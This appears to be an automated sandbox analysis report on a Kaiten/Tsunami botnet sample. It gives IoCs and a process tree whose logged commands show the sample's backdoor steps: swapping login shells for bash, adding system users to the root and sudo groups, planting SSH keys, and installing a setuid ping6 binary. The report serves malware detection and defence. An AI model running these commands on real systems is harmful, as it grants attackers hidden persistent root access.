kaiten | 975a79e3549d8c0b8f102888d4c407535404a18b17086c6ae580850a8aa32ff1

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
28/08/2024, 20:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

go
Size

3KB
MD5

fd55f0754084ba041539bb469f06a83d
SHA1

af7beef3297d77bdf1299a4fbf6cc50e27113aa4
SHA256

9bde6ebc01e00f36cb71b979f602f61a0f78e201ad9073ae557d764578789023
SHA512

cee0d136026accde83034f0b135dac8bdc2eec1a395a518f4b15c813062d75d49432b6d0ba996448107c1735382e84c31aeec372e9e1a9f830f1be848f7a8248

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 3 IoCs

resource	yara_rule
behavioral7/files/fstream-2.dat	family_kaiten2
behavioral7/files/fstream-4.dat	family_kaiten2
behavioral7/files/fstream-10.dat	family_kaiten2

Detects Kaiten/Tsunami payload 2 IoCs

resource	yara_rule
behavioral7/files/fstream-4.dat	family_kaiten
behavioral7/files/fstream-10.dat	family_kaiten

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten

Adds new SSH keys 2 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	go
File opened for modification	/root/.ssh/authorized_keys	touch

Modifies password files for system users/ groups 16 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

description	ioc	Process
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/shadow	usermod

Write file to user bin folder 1 TTPs 1 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
File opened for modification	/usr/sbin/nologin	cp

Writes file to system bin folder 1 TTPs 64 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
File opened for modification	/sbin/kbdrate	touch
File opened for modification	/bin/false	cp
File opened for modification	/bin/.ssh/authorized_keys	go
File opened for modification	/bin/zfgrep	touch
File opened for modification	/sbin/fsck.minix	touch
File opened for modification	/sbin/iptables-restore	touch
File opened for modification	/sbin/fsfreeze	touch
File opened for modification	/sbin/ip6tables-restore	touch
File opened for modification	/sbin/swaplabel	touch
File opened for modification	/bin/ip	touch
File opened for modification	/sbin/dhclient	touch
File opened for modification	/sbin/tune2fs	touch
File opened for modification	/bin/zegrep	touch
File opened for modification	/sbin/sulogin	touch
File opened for modification	/bin/chgrp	touch
File opened for modification	/bin/ln	touch
File opened for modification	/bin/sh.distrib	touch
File opened for modification	/sbin/init	touch
File opened for modification	/sbin/ip6tables	touch
File opened for modification	/bin/dir	touch
File opened for modification	/sbin/dhclient-script	touch
File opened for modification	/sbin/losetup	touch
File opened for modification	/bin/gunzip	touch
File opened for modification	/bin/ping6	touch
File opened for modification	/sbin/fdisk	touch
File opened for modification	/sbin/mkswap	touch
File opened for modification	/sbin/bridge	touch
File opened for modification	/sbin/dmsetup	touch
File opened for modification	/sbin/resize2fs	touch
File opened for modification	/bin/pwd	touch
File opened for modification	/bin/rnano	touch
File opened for modification	/bin/systemd-tty-ask-password-agent	touch
File opened for modification	/bin/tailf	touch
File opened for modification	/sbin/agetty	touch
File opened for modification	/bin/wdctl	touch
File opened for modification	/sbin/dmstats	touch
File opened for modification	/sbin/fixfiles	touch
File opened for modification	/bin/cls	ld
File opened for modification	/bin/egrep	touch
File opened for modification	/bin/lsmod	touch
File opened for modification	/bin/mv	touch
File opened for modification	/bin/tempfile	touch
File opened for modification	/sbin/fsck	touch
File opened for modification	/sbin/fstab-decode	touch
File opened for modification	/sbin/installkernel	touch
File opened for modification	/sbin/lsmod	touch
File opened for modification	/sbin/raw	touch
File opened for modification	/sbin/swapoff	touch
File opened for modification	/bin/kill	touch
File opened for modification	/bin/df	touch
File opened for modification	/bin/loadkeys	touch
File opened for modification	/bin/uncompress	touch
File opened for modification	/sbin/e2image	touch
File opened for modification	/sbin/unix_update	touch
File opened for modification	/bin/cp	touch
File opened for modification	/sbin/ip6tables-save	touch
File opened for modification	/sbin/ldconfig	touch
File opened for modification	/sbin/swapon	touch
File opened for modification	/sbin/switch_root	touch
File opened for modification	/sbin/killall5	touch
File opened for modification	/sbin/mkfs.ext3	touch
File opened for modification	/bin/bzfgrep	touch
File opened for modification	/bin/fuser	touch
File opened for modification	/bin/mknod	touch

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	-bash	880	perl
Changes the process name, possibly in an attempt to hide itself	-bash	882	perl

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	mkdir

Writes file to tmp directory 36 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ccqRlxdt.o	collect2
File opened for modification	/tmp/ccOMVaL3.s	cc1
File opened for modification	/tmp/cc87fdIa.o	gcc
File opened for modification	/tmp/ccclGr4d.o	collect2
File opened for modification	/tmp/ccRaHPsz.s	gcc
File opened for modification	/tmp/ccRaHPsz.s	cc1
File opened for modification	/tmp/ccKvyhO2.o	gcc
File opened for modification	/tmp/ccZmjgbk.c	collect2
File opened for modification	/tmp/cc87fdIa.o	as
File opened for modification	/tmp/cca2Xfme.le	collect2
File opened for modification	/tmp/ccJ9PE9l.o	as
File opened for modification	/tmp/ccE7a2zQ.c	collect2
File opened for modification	/tmp/ccq4OhFd.ld	collect2
File opened for modification	/tmp/ccVPiK6a.res	gcc
File opened for modification	/tmp/ccwBFfGF.ld	collect2
File opened for modification	/tmp/ccgihP0j.s	cc1
File opened for modification	/tmp/ccAGAJ2y.o	gcc
File opened for modification	/tmp/ccmYL2g0.res	gcc
File opened for modification	/tmp/ccJ9PE9l.o	gcc
File opened for modification	/tmp/ccI9cIBZ.res	gcc
File opened for modification	/tmp/ccaQrylU.le	collect2
File opened for modification	/tmp/cc5Lkanj.s	cc1
File opened for modification	/tmp/ccJQasQ5.res	gcc
File opened for modification	/tmp/ccAGAJ2y.o	as
File opened for modification	/tmp/ccOMVaL3.s	gcc
File opened for modification	/tmp/ccwnsZHF.c	collect2
File opened for modification	/tmp/ccgzz4Ka.o	collect2
File opened for modification	/tmp/ccgihP0j.s	gcc
File opened for modification	/tmp/ccIGaB1u.ld	collect2
File opened for modification	/tmp/ccgquC2w.le	collect2
File opened for modification	/tmp/ccQQPlac.c	collect2
File opened for modification	/tmp/cc0xcFbg.ld	collect2
File opened for modification	/tmp/ccuWr2Yh.le	collect2
File opened for modification	/tmp/cc0uhn9w.o	collect2
File opened for modification	/tmp/cc5Lkanj.s	gcc
File opened for modification	/tmp/ccKvyhO2.o	as

/tmp/go
/tmp/go
1⤵
- Adds new SSH keys
- Writes file to system bin folder
PID:708
- /usr/bin/gcc
  gcc -o /usr/share/man/man1/kwk a.c
  2⤵
  - Writes file to tmp directory
  PID:713
- - /usr/lib/gcc/mips-linux-gnu/6/cc1
    /usr/lib/gcc/mips-linux-gnu/6/cc1 -quiet -imultiarch mips-linux-gnu a.c -meb -quiet -dumpbase a.c "-march=mips32r2" -mfpxx -mllsc -mno-lxc1-sxc1 -mips32r2 "-mabi=32" -auxbase a -o /tmp/ccOMVaL3.s
    3⤵
    - Writes file to tmp directory
    PID:719
- - /usr/local/sbin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/cc87fdIa.o /tmp/ccOMVaL3.s
    3⤵
    PID:753
- - /usr/local/bin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/cc87fdIa.o /tmp/ccOMVaL3.s
    3⤵
    PID:753
- - /usr/sbin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/cc87fdIa.o /tmp/ccOMVaL3.s
    3⤵
    PID:753
- - /usr/bin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/cc87fdIa.o /tmp/ccOMVaL3.s
    3⤵
    - Writes file to tmp directory
    PID:753
- - /usr/lib/gcc/mips-linux-gnu/6/collect2
    /usr/lib/gcc/mips-linux-gnu/6/collect2 -plugin /usr/lib/gcc/mips-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mips-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccJQasQ5.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EB -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32btsmip -pie -o /usr/share/man/man1/kwk /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/Scrt1.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crti.o /usr/lib/gcc/mips-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mips-linux-gnu/6 -L/usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu -L/usr/lib/gcc/mips-linux-gnu/6/../../../../lib -L/lib/mips-linux-gnu -L/lib/../lib -L/usr/lib/mips-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mips-linux-gnu/6/../../.. /tmp/cc87fdIa.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mips-linux-gnu/6/crtendS.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:758
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/mips-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mips-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccJQasQ5.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EB -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32btsmip -pie -o /usr/share/man/man1/kwk /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/Scrt1.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crti.o /usr/lib/gcc/mips-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mips-linux-gnu/6 -L/usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu -L/usr/lib/gcc/mips-linux-gnu/6/../../../../lib -L/lib/mips-linux-gnu -L/lib/../lib -L/usr/lib/mips-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mips-linux-gnu/6/../../.. /tmp/cc87fdIa.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mips-linux-gnu/6/crtendS.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crtn.o
      4⤵
      PID:759
- /tmp/distro
  ./distro
  2⤵
  PID:766
- /bin/rm
  rm -rf /sbin/nologin
  2⤵
  PID:767
- /bin/rm
  rm -rf /usr/sbin/nologin
  2⤵
  PID:768
- /bin/rm
  rm -rf /bin/false
  2⤵
  PID:769
- /bin/cp
  cp /bin/bash /bin/false
  2⤵
  - Writes file to system bin folder
  - Reads runtime system information
  PID:771
- /bin/cp
  cp /bin/bash /usr/sbin/nologin
  2⤵
  - Write file to user bin folder
  - Reads runtime system information
  PID:773
- /bin/cp
  cp /bin/bash /sbin/nologin
  2⤵
  - Reads runtime system information
  PID:776
- /usr/sbin/usermod
  usermod -G root nobody
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:777
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:780
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:782
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:783
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:784
- /usr/sbin/usermod
  usermod -G root bin
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:785
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:789
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:790
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:791
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:792
- /usr/sbin/usermod
  usermod -G sudo nobody
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:793
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:795
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:796
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:797
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:799
- /usr/sbin/usermod
  usermod -G sudo bin
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:800
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:801
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:802
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:803
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:804
- /bin/rm
  rm -rf "/bin/.ssh/authorized*"
  2⤵
  PID:806
- /bin/rm
  rm -rf "/usr/games/.ssh/authorized*"
  2⤵
  PID:807
- /bin/mkdir
  mkdir /bin/.ssh -p
  2⤵
  - Reads runtime system information
  PID:809
- /bin/mkdir
  mkdir /usr/games/.ssh -p
  2⤵
  - Reads runtime system information
  PID:811
- /bin/mkdir
  mkdir /root/.ssh -p
  2⤵
  - Reads runtime system information
  PID:812
- /bin/mkdir
  mkdir /usr/games/.ssh -p
  2⤵
  - Reads runtime system information
  PID:813
- /usr/bin/whoami
  whoami
  2⤵
  PID:814
- /bin/hostname
  hostname
  2⤵
  PID:816
- /bin/mkdir
  mkdir /root/.ssh -p
  2⤵
  - Reads runtime system information
  PID:817
- /usr/bin/whoami
  whoami
  2⤵
  PID:818
- /bin/hostname
  hostname
  2⤵
  PID:819
- /bin/chmod
  chmod 600 /root/.ssh/authorized_keys
  2⤵
  PID:820
- /bin/chmod
  chmod 755 /usr/games/.ssh
  2⤵
  PID:821
- /bin/chmod
  chmod 600 /usr/games/.ssh/authorized_keys
  2⤵
  PID:823
- /bin/chown
  chown games:games /usr/games/.ssh/
  2⤵
  PID:824
- /bin/chown
  chown games:games /usr/games/.ssh/authorized_keys
  2⤵
  PID:825
- /bin/chown
  chown bin:bin /usr/bin/.ssh/
  2⤵
  PID:826
- /bin/chown
  chown bin:bin "/usr/bin/.ssh/au*"
  2⤵
  PID:827
- /bin/rm
  rm -rf /bin/ping6 /sbin/ping6
  2⤵
  PID:828
- /usr/bin/gcc
  gcc -o /bin/ping6 ping.c
  2⤵
  - Writes file to tmp directory
  PID:829
- - /usr/lib/gcc/mips-linux-gnu/6/cc1
    /usr/lib/gcc/mips-linux-gnu/6/cc1 -quiet -imultiarch mips-linux-gnu ping.c -meb -quiet -dumpbase ping.c "-march=mips32r2" -mfpxx -mllsc -mno-lxc1-sxc1 -mips32r2 "-mabi=32" -auxbase ping -o /tmp/ccRaHPsz.s
    3⤵
    - Writes file to tmp directory
    PID:830
- - /usr/local/sbin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccAGAJ2y.o /tmp/ccRaHPsz.s
    3⤵
    PID:834
- - /usr/local/bin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccAGAJ2y.o /tmp/ccRaHPsz.s
    3⤵
    PID:834
- - /usr/sbin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccAGAJ2y.o /tmp/ccRaHPsz.s
    3⤵
    PID:834
- - /usr/bin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccAGAJ2y.o /tmp/ccRaHPsz.s
    3⤵
    - Writes file to tmp directory
    PID:834
- - /usr/lib/gcc/mips-linux-gnu/6/collect2
    /usr/lib/gcc/mips-linux-gnu/6/collect2 -plugin /usr/lib/gcc/mips-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mips-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccmYL2g0.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EB -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32btsmip -pie -o /bin/ping6 /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/Scrt1.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crti.o /usr/lib/gcc/mips-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mips-linux-gnu/6 -L/usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu -L/usr/lib/gcc/mips-linux-gnu/6/../../../../lib -L/lib/mips-linux-gnu -L/lib/../lib -L/usr/lib/mips-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mips-linux-gnu/6/../../.. /tmp/ccAGAJ2y.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mips-linux-gnu/6/crtendS.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:835
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/mips-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mips-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccmYL2g0.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EB -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32btsmip -pie -o /bin/ping6 /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/Scrt1.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crti.o /usr/lib/gcc/mips-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mips-linux-gnu/6 -L/usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu -L/usr/lib/gcc/mips-linux-gnu/6/../../../../lib -L/lib/mips-linux-gnu -L/lib/../lib -L/usr/lib/mips-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mips-linux-gnu/6/../../.. /tmp/ccAGAJ2y.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mips-linux-gnu/6/crtendS.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crtn.o
      4⤵
      PID:836
- /bin/chmod
  chmod u+xs /bin/ping6
  2⤵
  PID:837
- /bin/cp
  cp /bin/ping6 /sbin/uid
  2⤵
  - Reads runtime system information
  PID:838
- /bin/cp
  cp /bin/ping6 /usr/include/bakla.h
  2⤵
  - Reads runtime system information
  PID:839
- /usr/bin/gcc
  gcc -DLINUX -Wall -o /bin/cls cls.c
  2⤵
  - Writes file to tmp directory
  PID:840
- - /usr/lib/gcc/mips-linux-gnu/6/cc1
    /usr/lib/gcc/mips-linux-gnu/6/cc1 -quiet -imultiarch mips-linux-gnu -D LINUX cls.c -meb -quiet -dumpbase cls.c "-march=mips32r2" -mfpxx -mllsc -mno-lxc1-sxc1 -mips32r2 "-mabi=32" -auxbase cls -Wall -o /tmp/ccgihP0j.s
    3⤵
    - Writes file to tmp directory
    PID:841
- - /usr/local/sbin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccJ9PE9l.o /tmp/ccgihP0j.s
    3⤵
    PID:864
- - /usr/local/bin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccJ9PE9l.o /tmp/ccgihP0j.s
    3⤵
    PID:864
- - /usr/sbin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccJ9PE9l.o /tmp/ccgihP0j.s
    3⤵
    PID:864
- - /usr/bin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccJ9PE9l.o /tmp/ccgihP0j.s
    3⤵
    - Writes file to tmp directory
    PID:864
- - /usr/lib/gcc/mips-linux-gnu/6/collect2
    /usr/lib/gcc/mips-linux-gnu/6/collect2 -plugin /usr/lib/gcc/mips-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mips-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccI9cIBZ.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EB -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32btsmip -pie -o /bin/cls /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/Scrt1.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crti.o /usr/lib/gcc/mips-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mips-linux-gnu/6 -L/usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu -L/usr/lib/gcc/mips-linux-gnu/6/../../../../lib -L/lib/mips-linux-gnu -L/lib/../lib -L/usr/lib/mips-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mips-linux-gnu/6/../../.. /tmp/ccJ9PE9l.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mips-linux-gnu/6/crtendS.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:867
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/mips-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mips-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccI9cIBZ.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EB -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32btsmip -pie -o /bin/cls /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/Scrt1.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crti.o /usr/lib/gcc/mips-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mips-linux-gnu/6 -L/usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu -L/usr/lib/gcc/mips-linux-gnu/6/../../../../lib -L/lib/mips-linux-gnu -L/lib/../lib -L/usr/lib/mips-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mips-linux-gnu/6/../../.. /tmp/ccJ9PE9l.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mips-linux-gnu/6/crtendS.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crtn.o
      4⤵
      Writes file to system bin folder
      PID:868
- /usr/bin/gcc
  gcc clean.c -o /bin/clean -D Linux
  2⤵
  - Writes file to tmp directory
  PID:874
- - /usr/lib/gcc/mips-linux-gnu/6/cc1
    /usr/lib/gcc/mips-linux-gnu/6/cc1 -quiet -imultiarch mips-linux-gnu -D Linux clean.c -meb -quiet -dumpbase clean.c "-march=mips32r2" -mfpxx -mllsc -mno-lxc1-sxc1 -mips32r2 "-mabi=32" -auxbase clean -o /tmp/cc5Lkanj.s
    3⤵
    - Writes file to tmp directory
    PID:876
- - /usr/local/sbin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccKvyhO2.o /tmp/cc5Lkanj.s
    3⤵
    PID:877
- - /usr/local/bin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccKvyhO2.o /tmp/cc5Lkanj.s
    3⤵
    PID:877
- - /usr/sbin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccKvyhO2.o /tmp/cc5Lkanj.s
    3⤵
    PID:877
- - /usr/bin/as
    as -EB -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccKvyhO2.o /tmp/cc5Lkanj.s
    3⤵
    - Writes file to tmp directory
    PID:877
- - /usr/lib/gcc/mips-linux-gnu/6/collect2
    /usr/lib/gcc/mips-linux-gnu/6/collect2 -plugin /usr/lib/gcc/mips-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mips-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccVPiK6a.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EB -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32btsmip -pie -o /bin/clean /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/Scrt1.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crti.o /usr/lib/gcc/mips-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mips-linux-gnu/6 -L/usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu -L/usr/lib/gcc/mips-linux-gnu/6/../../../../lib -L/lib/mips-linux-gnu -L/lib/../lib -L/usr/lib/mips-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mips-linux-gnu/6/../../.. /tmp/ccKvyhO2.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mips-linux-gnu/6/crtendS.o /usr/lib/gcc/mips-linux-gnu/6/../../../mips-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:878
  - - /usr/bin/ld
